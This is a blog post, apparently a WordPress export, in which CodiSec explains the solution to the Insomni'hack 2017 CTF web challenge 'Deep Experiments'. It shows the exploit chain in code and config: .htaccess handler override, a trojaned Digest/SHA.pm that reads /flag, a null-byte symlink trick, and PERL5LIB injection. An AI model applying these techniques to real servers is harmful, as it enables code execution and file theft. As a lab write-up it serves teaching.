{"id":13947,"date":"2017-03-26T22:36:21","date_gmt":"2017-03-26T20:36:21","guid":{"rendered":"https:\/\/codisec.com\/?p=13947"},"modified":"2023-03-22T16:29:58","modified_gmt":"2023-03-22T15:29:58","slug":"insomnihack-2017-deep-experiments","status":"publish","type":"post","link":"https:\/\/codisec.com\/insomnihack-2017-deep-experiments\/","title":{"rendered":"Insomni’hack 2017: Deep Experiments"},"content":{"rendered":"

Deep Experiments<\/h2>\n

Deep Experiments was one of the web challenges at Insomi’hack CTF 2017.
\nIt has been solved only by two teams (including CodiSec).
\nThe location of the flag (\/flag<\/code>) was written in the description.<\/p>\n

Recon<\/h2>\n

The challenge was running on Apache server with CGI enabled.
\nA very simple client-side login interface (written in javascript) was setting a cookie \"uid=\"+username+\":\"+sha256(password)<\/code>.
\nDue to nature of client-side scripts, we could alter the format and value of this cookie without any efforts.
\nAt the beginning I thought the challenge was pretty easy and trivial, because there was an upload script, vulnerable to directory traversal.
\nAfter some tests, I had determined a behaviour of the upload script:<\/p>\n

\r\n$filename = $_REQUEST['file']['filename'];\r\n$uid = sha256($_COOKIE['uid']);\r\n\r\nif(!exists(\"\/var\/www\/html\/users\/$uid.hide\"))\r\n{\r\n    mkdir(\"\/var\/www\/html\/users\/$uid.hide\");\r\n    copy($PATH_TO_PUBLISH_CGI_SCRIPT, \"\/var\/www\/html\/users\/$uid.hide\/publish.cgi\");\r\n    chmod(\"\/var\/www\/html\/users\/$uid.hide\/publish.cgi\", 755);\r\n}\r\n\r\ncopy($_REQUEST['file']['tmp_filename'], \"\/var\/www\/html\/users\/$uid.hide\/$filename\");\r\n\r\nprint \"\/users\/$uid.hide\/$filename\";\r\n<\/pre>\n

As you can see, the script was creating a directory for us and putting another script (publish.cgi<\/code>) inside.
\nAll files but the ones with .hide<\/code> suffix in \/users\/<\/code> directory were public (listed).<\/p>\n

FIRST TRY<\/h2>\n

I had some obvious ideas:
\n1) Uploading a PHP script – failed, there was no PHP.
\n2) Uploading a CGI script – failed, there was no permission to execute our script (CGI requires chmod +x).
\n3) Overwriting publish.cgi – failed, there was no permission to write on this file.
\n4) Disabling CGI by uploading .htaccess:<\/p>\n

SetHandler default-handler<\/p><\/blockquote>\n

Worked! We could read publish.cgi<\/code> source code:<\/p>\n

\r\n#!\/usr\/bin\/perl\r\n\r\nuse CGI \":standard\";\r\nuse CGI::Cookie;\r\nuse Digest::SHA qw(sha256_hex);\r\nmy $cgi = new CGI;\r\nmy $requested = CGI->new->url();\r\n%cookies = CGI::Cookie->fetch;\r\nmy $salt = \"iNs0mn1h4cK\";\r\nmy $login = $cookies{'uid'}->value;\r\nmy $username = (split \/:\/,$login)[0];\r\nmy $hash = sha256_hex($login);\r\nmy $hashSalt = sha256_hex($salt.$login);\r\n$uid = (split \/\\\/\/, $requested)[-2];\r\n$path = \"\/var\/www\/html\/users\/$uid\";\r\nif ($uid == $hash)\r\n  {\r\n\r\n    if (-d $path ) {\r\n\tif (-e \"$path\/index.html\")\r\n\t{\r\n    \t\tsymlink($path,\"\/var\/www\/html\/users\/$username:$hashSalt\")\r\n\t} \r\n\telse\r\n\t{\r\n\t        print redirect(-url=>\"\/users\/$uid\/edit?error\")\r\n\t}\r\n   }\r\n    print redirect(-url=>'\/users');\r\n  }\r\nelse\r\n  {\r\n      print redirect(-url=>'\/');\r\n  }\r\n\r\n\r\nprint $cgi->header();\r\nprint \"$msg!\\n\";\r\n<\/pre>\n

It may seems pretty useless, everything the script does is creating a symlink to our directory.
\n…is it really true?<\/p>\n

As long as we control environment we control everything<\/h2>\n

The script was importing some libs:<\/p>\n

\r\nuse CGI \":standard\";\r\nuse CGI::Cookie;\r\nuse Digest::SHA qw(sha256_hex);\r\n<\/pre>\n

I decided to upload my own Digest\/SHA.pm<\/code> file with an additional code:<\/p>\n

\r\n#Inherit from Digest::base if possible\r\neval {\r\n\tprint \"Flag: \";             #\r\n\topen(my $fh, \"<", "\/flag"); # additional lines\r\n\tprint <$fh>;                #\r\n\trequire Digest::base;\r\n\tpush(@ISA, 'Digest::base');\r\n};\r\n<\/pre>\n

The problem was we had no way to create Digest<\/code> directory.
\nThe trick was to use symlink()<\/code> function in publish.cgi<\/code> (symlink()<\/code> is vulnerable to null bytes, so we could cut off :$hashSalt<\/code> part of filename very easily) to create symlink named Digest<\/code> pointing to our directory.
\nThe last part was telling perl where to load the libs from. Uploading .htaccess<\/code> did the job:<\/p>\n

SetEnv PERL5LIB \/var\/www\/html\/users\/ae9959e29f544ae05ac9ba65aa6021dcb631339b5bc0794ae11c2e447aa1dd0a.hide\/<\/p><\/blockquote>\n

Listing of our final directory \/var\/www\/html\/users\/ae9959e29f544ae05ac9ba65aa6021dcb631339b5bc0794ae11c2e447aa1dd0a.hide<\/code>:<\/p>\n

\r\n.\r\n..\r\n.htaccess\r\nDigest -> \/var\/www\/html\/users\/ae9959e29f544ae05ac9ba65aa6021dcb631339b5bc0794ae11c2e447aa1dd0a.hide\r\nindex.html\r\npublish.cgi\r\nSHA.pm\r\n<\/pre>\n

The last thing to do was to run publish.cgi and read the flag:<\/p>\n

Flag: INS{r1s3S_0f_.ht4c3eSs!}<\/p><\/blockquote>\n

Solved by Mawekl,
\nguest of the CodiSec,
\nmember of the Dragon Sector.<\/p>\n","protected":false},"excerpt":{"rendered":"

Deep Experiments Deep Experiments was one of the web challenges at Insomi’hack CTF 2017. It has been solved only by two teams (including CodiSec). The location of the flag (\/flag) was written in the description. Recon The challenge was running…<\/span> <\/p>\n

Read more ›<\/div>\n

<\/a><\/p>\n","protected":false},"author":10,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[25,32],"tags":[29,30,12,31],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n\n\t\n